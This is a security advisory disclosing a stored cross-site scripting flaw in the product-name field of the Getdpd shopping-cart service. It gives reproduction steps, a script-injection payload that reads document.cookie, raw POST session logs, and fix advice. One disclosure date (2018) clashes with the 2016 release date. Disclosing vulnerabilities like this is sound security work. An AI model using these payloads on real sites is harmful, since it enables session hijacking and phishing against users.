Getdpd Script Insertion
Posted on 10 February 2016
Document Title: =============== Getdpd BB #4 - (name) Persistent Validation Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1568 ID: #14772 Release Date: ============= 2016-02-08 Vulnerability Laboratory ID (VL-ID): ==================================== 1568 Common Vulnerability Scoring System: ==================================== 3.8 Product & Service Introduction: =============================== DPD is an all-in-one shopping cart and digital fulfillment service for downloadable products. Serving thousands of stores, DPD processes and delivers millions worth of downloads each year. (Copy of the Vendor Homepage: https://getdpd.com/security ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research team discovered an application-side input validation web vulnerability in the official Getpdp online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-08-09: Researcher Notification & Coordination (Hadji Samir) 2015-08-10: Vendor Notification (Getdpd Security Team - Bug Bounty Program) 2015-09-02: Vendor Response/Feedback (Getdpd Security Team - Bug Bounty Program) 2016-01-22: Vendor Fix/Patch (Getdpd Developer Team) 2018-02-08: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== DPD - Digital Product Delivery Product: DPD Online Service (Web-Application) 2015 Q3 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side cross site scripting web vulnerability has been discovered in the official Getdpd online service web-application. The security vulnerability allows remote attackers to inject own script code to the application-side of the affected application module. The vulnerability is located in the product name input value. Remote attackers with low privilege web-application user accounts are able to inject own malicious script code via POST method request. The injection point is the vulnerable Product parameter with the name input and the execution point is located in https://getdpd.com/storefront/productchooser module. The request method to inject is POST and the vulnerability is located to the application-side of the vulnerable service. The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Service(s): [+] getdpd.com Vulnerable Module(s): [+] Pulldown Builder _ DPD Shopping Cart Vulnerable Parameter(s): [+] name (form data via POST) Proof of Concept (PoC): ======================= The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Create a new product with name "></option></select></div><svg onload=alert(document.cookie)> 2. Open https://getdpd.com/storefront/productchooser ... the code will execute <svg onload=alert(document.cookie)> 3. Successful reproduce of the security vulnerability! --- PoC Session Logs [POST] --- 11:42:04.317[464ms][total 464ms] Status: 302[Found] POST https://getdpd.com/product/update/114785 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[113] Mime Type[text/html] Request Headers: Host[getdpd.com] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Referer[https://getdpd.com/product/edit/114785] Cookie[_src=https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1; _ga=GA1.2.163063198.1438880403; __zlcmid=W5erEG66rmgkKt; referrer=javascript:alert(1); view-cart-button=https%3A%2F%2Fgetdpd.com%2Fimages%2Fbuy_buttons%2Fvc%2Fsolid1%2Fdpd_viewcart_2.png; symfony=4fk57k07c4c3blm6piak6rrk01; _csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; _gat=1] X-Forwarded-For[8.8.8.8] Connection[keep-alive] Post Data: POST_DATA[-----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="_csrf_token" 5dd0e8de2f12cbf4cfdddb7af46239126a7861de -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="storefront_id" 23842 -----------------------------2026716451270970083621900121Content-Disposition: form-data; name="wizard" -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="type" digital -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="name" "></option></select></div><svg onload=alert(1)> [MALICIOUS PAYLOAD INJECTION!] -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="price" 0.00 -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="sku" -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="hoplink_target_url" -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="show_on_index" 0 -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="show_on_index" 1 -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="image_file"; filename="" Content-Type: application/octet-stream -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="description" -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="long_description" -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="collect_customer_info" 1 -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="purchase_limit" 0 -----------------------------2026716451270970083621900121 Content-Disposition: form-data; name="eula" -----------------------------2026716451270970083621900121--] Response Headers: Date[Mon, 10 Aug 2015 10:45:29 GMT] Server[Apache] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Location[https://getdpd.com/product/detail/114785] Set-Cookie[_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; path=/; secure] Vary[Accept-Encoding,User-Agent] Content-Encoding[gzip] P3p[CP="NOI CURa OUR NOR UNI"] Content-Length[113] Connection[close] Content-Type[text/html] PoC: Source <div class="amselect-container" style=""> <div id="asmContainer0" class="asmContainer"><select id="asmSelect0" name="asmSelect0" class="asmSelect"> <option selected="selected">undefined</option> ($0.00)</select><ol id="asmList0" class="asmList ui-sortable asmListSortable"></ol> <select style="display: none;" name="product_ids[]" id="product_ids" multiple="multiple"><option id="asm0option0" value="https://getdpd.com/cart/buy/23842/114785/121300">"></option></select></div><svg onload=alert('xss')> ($0.00)</option> </select></div> </div> ... ... <div id="page-wrapper"> <ul class="breadcrumb"> <li><a href="https://getdpd.com/dashboard">Dashboard</a> ›</li> <li><a href="https://getdpd.com/product/list?filter=1">Your Products</a> ›</li> <li><a href="https://getdpd.com/storefront/productchooser?id=23842">Pulldown Builder</a></li> </ul> <div class="page"> <!-- Start Sidebar --> <div id="sidebar"> <span style="margin:10px 0 0 12px; font-size: 14px; color: #555">test01</span><hr style="margin: 5px;"> <form action="" id="storefront-form" class="form-inline" style="margin-top: 5px;"> <select name="_storefront_id" id="_storefront_id" class="input" style="width: 185px; margin:5px 0 0 10px;"><option selected="selected" value="">Switch Store...</option> <option value="23786">"><img src="c"></option> <option value="23787">samirvuln</option> <option value="23808">test</option> </select> <ul class="nav nav-pills nav-stacked"> <li><a href="https://getdpd.com/userwizard/newStoreModal"><i class="minicon-add"></i> Add New Store</a></li> </ul> </form> Reference(s): https://getdpd.com/ https://getdpd.com/dashboard https://getdpd.com/storefront/productchooser?id= https://getdpd.com/product/update/114785 https://getdpd.com/product/detail/114785 https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1 Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable name input fields. Restrict the input and disallow usage of special chars. Filter and setup a secure exception handling that prevents the persistent execution in the output location. Security Risk: ============== The security risk of application-side input validation web vulnerability in the frontend of the getdpd web-application is estimated as medium. (CVSS 3.8) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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